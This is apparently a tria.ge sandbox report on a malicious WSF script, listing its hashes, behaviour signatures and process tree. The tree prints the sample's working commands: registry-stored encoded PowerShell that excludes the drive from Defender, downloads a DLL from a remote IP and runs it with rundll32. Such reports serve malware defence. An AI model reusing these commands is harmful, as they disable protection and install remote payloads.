Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/03/2023, 18:43

General

  • Target

    O P E N .wsf

  • Size

    316KB

  • MD5

    ac4385ffc9f0f005bd194486aed5c24f

  • SHA1

    161cdb625a9d8716ed61e16ce83136ee57d42753

  • SHA256

    21a73a39348f4021cd6af58996a821c9ffd0dc2f84a49ca9d2b754f2f504f950

  • SHA512

    262c953e0ccf1f9cc61ee36859b2fa9fb89d1debb33faa25168cd240096960b6f44513c8731ac92e81cf6f8e36680e666d3222f6ad0d2355640dafea1ef604b3

  • SSDEEP

    6144:lisXZjbwYByTQwxaexOQvqCu3eapoycGFyEJbel2ZJ5jBCPbJe5rJDp/RtZl80CM:limGpZP5fLycSVJilO10JedZx71sLgKQ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\O P E N .wsf"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5040
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\SubdisciplinesIterate /v leonines /d fIFGBZMCAGAIZfqUtfUBuoLbHdIYINAZYdqmXHKZzFEbqwtWTdulJLqAyOyfzkYtUMueiqwrhMbOQtzXnmjgRPbqLKAYWvixgoeCMThoxyUxxquRkekInTegvSMykafYAkYtzDYzeikcrNGRlBPSKUulrBzHwhQNjCgUDlGLPpPAtcbbGnsyIVyMoXUNeoICUOGwilCspcBCKQliTzBeRPTzFYJYqnSTpouvaJzAcOyJqCkrHLPYVHkhrPrvlSEvsoyNSbkrTYhaPCbqhbWcWlpkMfBnNFWyOMWJzRLZknmue
      2⤵
      • Modifies registry key
      PID:3396
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\SubdisciplinesIterate /v PretransportHielaman /d vjNrXWINnmRsIaewNCvuRbGAJnkdHQsC
      2⤵
      • Modifies registry key
      PID:544
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\cadencyCloches /v Moustoc /d UAcgBkAGEAeQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAFMAdQBiAGQAaQBzAGMAaQBwAGwAaQBuAGUAcwBJAHQAZQByAGEAdABlACAAfAAgACUAewAkAF8ALgBNAG8AdQBzAHQAbwBjAH0AOwAgACQAeQBlAHMAdABlAHIAZABhAHkAIAA9ACAAIgBUAG8AcgByAGUAbgB0ACIAIAArACAAJAB5AGUAcwB0AGUAcgBkAGEAeQA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeQBlAHMAdABlAHIAZABhAHkAKQApADsAIABbAGMAbABhAHMAcwBpAGMAeQBjADEAXQA6ADoARQB4AGUAYwB1AHQAZQAoACIAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAiACIAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlACAAPQAgAGAAKABnAGUAdAAtAGwAbwBjAGEAdABpAG8AbgBgACkALgBEAHIAaQB2AGUALgBOAGEAbQBlACAAKwAgACcAOgBcACcAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIAAvAHYAIABVAHMAZQByAGkAbgBpAHQAIAAvAGYAOwAgAHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABTAHUAYgBkAGkAcwBjAGkAcABsAGkAbgBlAHMASQB0AGUAcgBhAHQAZQAgAC8AdgAgAE0AbwB1AHMAdABvAGMAIAAvAGYAIgAiACIAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAOgAvAC8AMQA0ADMALgAyADQANAAuADEANAA3AC4AMQA3ADUALwAzAHIANwB3AC8AMAAyADAAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAA7ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAAsAFIAUwAzADIAOwA=
      2⤵
      • Modifies registry key
      PID:4836
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\cadencyCloches /v transmissions /d ffAqiCaDuIUzJHJWqdoBgAeEnGTgQCLymbRtJjObZbiOFpqGjzxJxBlSuKZpUIQUNaDBMtCFoCvkIXNNXzMTdDMrwKegRchEmuJozYejTeZEatjPGsOfZeoVprGVIKzAoLgoxOujhWZSw
      2⤵
      • Modifies registry key
      PID:2836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cadencyCloches = Get-ItemProperty -Path HKCU:\SOFTWARE\cadencyCloches | %{$_.Moustoc}; powershell -windowstyle Minimized -encodedcommand "JAB5AGUAcwB0AG$cadencyCloches"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle Minimized -encodedcommand JAB5AGUAcwB0AGUAcgBkAGEAeQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAASABLAEMAVQA6AFwAXABTAE8ARgBUAFcAQQBSAEUAXABcAFMAdQBiAGQAaQBzAGMAaQBwAGwAaQBuAGUAcwBJAHQAZQByAGEAdABlACAAfAAgACUAewAkAF8ALgBNAG8AdQBzAHQAbwBjAH0AOwAgACQAeQBlAHMAdABlAHIAZABhAHkAIAA9ACAAIgBUAG8AcgByAGUAbgB0ACIAIAArACAAJAB5AGUAcwB0AGUAcgBkAGEAeQA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAeQBlAHMAdABlAHIAZABhAHkAKQApADsAIABbAGMAbABhAHMAcwBpAGMAeQBjADEAXQA6ADoARQB4AGUAYwB1AHQAZQAoACIAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQB4AGUAYwB1AHQAaQBvAG4AcABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAiACIAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlACAAPQAgAGAAKABnAGUAdAAtAGwAbwBjAGEAdABpAG8AbgBgACkALgBEAHIAaQB2AGUALgBOAGEAbQBlACAAKwAgACcAOgBcACcAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABgACQAYwB1AHIAcgBlAG4AdABEAHIAaQB2AGUAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwByAGUAZwAgAGQAZQBsAGUAdABlACAASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIAAvAHYAIABVAHMAZQByAGkAbgBpAHQAIAAvAGYAOwAgAHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABTAHUAYgBkAGkAcwBjAGkAcABsAGkAbgBlAHMASQB0AGUAcgBhAHQAZQAgAC8AdgAgAE0AbwB1AHMAdABvAGMAIAAvAGYAIgAiACIAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAOgAvAC8AMQA0ADMALgAyADQANAAuADEANAA3AC4AMQA3ADUALwAzAHIANwB3AC8AMAAyADAAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAA7ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG4AbwBuAHQAcgBhAG4AcwBpAGUAbgB0AGwAeQBVAG4AbwByAGEAdABvAHIAaQBhAGwALgBkAGwAbAAsAFIAUwAzADIAOwA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4912
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\nontransientlyUnoratorial.dll,RS32
          4⤵
            PID:1112
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start https://support.microsoft.com/office/troubleshoot-errors-in-onenote-for-windows-10-942b006c-46ac-4300-a629-7fac5ae4dc70
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://support.microsoft.com/office/troubleshoot-errors-in-onenote-for-windows-10-942b006c-46ac-4300-a629-7fac5ae4dc70
          3⤵
          • Enumerates system info in registry
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4504
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffba3d846f8,0x7ffba3d84708,0x7ffba3d84718
            4⤵
              PID:908
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
              4⤵
                PID:2824
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:1372
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:8
                4⤵
                  PID:1688
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3580 /prefetch:1
                  4⤵
                    PID:4620
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3688 /prefetch:1
                    4⤵
                      PID:5088
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2756 /prefetch:1
                      4⤵
                        PID:3336
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
                        4⤵
                          PID:3796
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
                          4⤵
                            PID:1108
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
                            4⤵
                              PID:740
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6032 /prefetch:1
                              4⤵
                                PID:4828
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
                                4⤵
                                  PID:5096
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                  4⤵
                                  • Drops file in Program Files directory
                                  PID:2184
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff6d1795460,0x7ff6d1795470,0x7ff6d1795480
                                    5⤵
                                      PID:408
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3552
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
                                    4⤵
                                      PID:4088
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:1
                                      4⤵
                                        PID:5076
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,13789775640929097699,3616042198191311812,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4104 /prefetch:2
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1872
                                • C:\Windows\System32\CompPkgSrv.exe
                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                  1⤵
                                    PID:3616

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                    Filesize

                                    3KB

                                    MD5

                                    223bd4ae02766ddc32e6145fd1a29301

                                    SHA1

                                    900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

                                    SHA256

                                    1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

                                    SHA512

                                    648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                    Filesize

                                    152B

                                    MD5

                                    0820611471c1bb55fa7be7430c7c6329

                                    SHA1

                                    5ce7a9712722684223aced2522764c1e3a43fbb9

                                    SHA256

                                    f00d04749a374843bd118b41f669f8b0a20d76526c34b554c3ccac5ebd2f4f75

                                    SHA512

                                    77ea022b4265f3962f5e07a0a790f428c885da0cc11be0975285ce0eee4a2eec0a7cda9ea8f366dc2a946679b5dd927c5f94b527de6515856b68b8d08e435148

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                    Filesize

                                    152B

                                    MD5

                                    425e83cc5a7b1f8edfbec7d986058b01

                                    SHA1

                                    432a90a25e714c618ff30631d9fdbe3606b0d0df

                                    SHA256

                                    060a2e5f65b8f3b79a8d4a0c54b877cfe032f558beb0888d6f810aaeef8579bd

                                    SHA512

                                    4bf074de60e7849ade26119ef778fe67ea47691efff45f3d5e0b25de2d06fcc6f95a2cfcdbed85759a5c078bb371fe57de725babda2f44290b4dc42d7b6001af

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                    Filesize

                                    48B

                                    MD5

                                    13cf09a73958edcc5d68cf974c644d8d

                                    SHA1

                                    62d32b9cb51f5a59edbf06b66187899ffb5312c6

                                    SHA256

                                    2b6b996530bb42041d898e800405cbdc32261680249b1bd4d675cd0b09c1424d

                                    SHA512

                                    1e77d1b42253427bb27b582844578ab36dc2ebde5cccd5fd08c8db54435e3e5b97fb9ab260de2f72a78e8295460a1d6e5b9162393e2f583bb678385cf30aa3df

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                    Filesize

                                    504B

                                    MD5

                                    5a63508f19c6c846aa84b09abcffaf84

                                    SHA1

                                    0aa2f2c85c1ac57bd1d1fc19bb8573e849e7893d

                                    SHA256

                                    1869a9065449da8e444fda73ca660525e52f94183515cc248f8135332b2005ce

                                    SHA512

                                    e859733ba0b8d4aa3671a8d16ee3bdb88df7cd9edd09493ef66bbd3bc4f1dc6deb8ac58fdcd7d9a1e98572bec80bdf5561d69131f0528ae356a92d994d3b4b05

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

                                    Filesize

                                    70KB

                                    MD5

                                    e5e3377341056643b0494b6842c0b544

                                    SHA1

                                    d53fd8e256ec9d5cef8ef5387872e544a2df9108

                                    SHA256

                                    e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

                                    SHA512

                                    83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk

                                    Filesize

                                    2KB

                                    MD5

                                    6cea06c162e25de7d925674d98ae5365

                                    SHA1

                                    107eeaf5d7bf98247ee6a2da0258a2f0a9a26ae4

                                    SHA256

                                    e1657582196590c61540d8fffbf555c721307b72b9de497480107ba81ef71b72

                                    SHA512

                                    a3b66390e7c094a850d949f22af5e78b36904cdccf7f5cf1981bf0489b217218f9cc421bc8ee62ba0ccc53ba79228a35b07ce6c8d1c598c6ebfa3763ea14f68a

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                    Filesize

                                    111B

                                    MD5

                                    285252a2f6327d41eab203dc2f402c67

                                    SHA1

                                    acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                                    SHA256

                                    5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                                    SHA512

                                    11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                    Filesize

                                    956B

                                    MD5

                                    7c08aa7ec0880eecc9ff91c23a94f95d

                                    SHA1

                                    ce37340917a55eca60e6ec80be23a50fb76c3c5e

                                    SHA256

                                    f7e15910c4cf8adfe21e47ce9e325de5e10b60f1066c2358554ffed081a30662

                                    SHA512

                                    65250be27682d4085572d567bc840dd89d96bc20abc5dcae0fa6561c14a8cf84b3229d42b8ab61180204e5d9e6d9b8a4fec03eeb092448e76bbb9caae69687fb

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                    Filesize

                                    4KB

                                    MD5

                                    d497e710f265ff03d03275913c8e4532

                                    SHA1

                                    cdb7390f6ebbc8f2b57842c370d78f1db6c79cd9

                                    SHA256

                                    301c782d838b22cd5a0d2c25c99b2bbcb877a5ac0a45f7e1efd809d1258d1cf0

                                    SHA512

                                    36574e051204fad60e050b4e94be61b8da972e868949986753041495e41324ad92a931a7d322dabbae37f6d558e624e0f0763fde8cd786b0dfde151f2d85f530

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                    Filesize

                                    5KB

                                    MD5

                                    6a70c54b337d65a8b96e833c10b53d63

                                    SHA1

                                    bc14c822659c71aeda3d1a03c60ec65b1626680a

                                    SHA256

                                    5a11c6b63aeb7c4888c8fa32d83394fc637ba60d9bd13ce8bd57f05b02b79519

                                    SHA512

                                    4c66d7aef989a038a74210be3a4b30bf9c3e35ae0a3f2412f2347d1cd86a6b8ef5fb75e4969ac069ec9d8cfa572fa32f0dd74156f02529b3024e4a309fc95053

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                    Filesize

                                    5KB

                                    MD5

                                    79b78f8941c0f15b8d21603c99ca1966

                                    SHA1

                                    71feca95903ca0b5aec61b330b40531ef4634c0f

                                    SHA256

                                    fb6d65f8bbfe73adf979593428e89f53e85b5d0c45b36549809022ef75f3c825

                                    SHA512

                                    9eb36b84aaf8a098809de66b1773276cc539e9fc072eeb07721183f4b1698439064a7690035a9c66dbdddbea2d0a909806831f1598396b7e9b141d425fcedbed

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                    Filesize

                                    24KB

                                    MD5

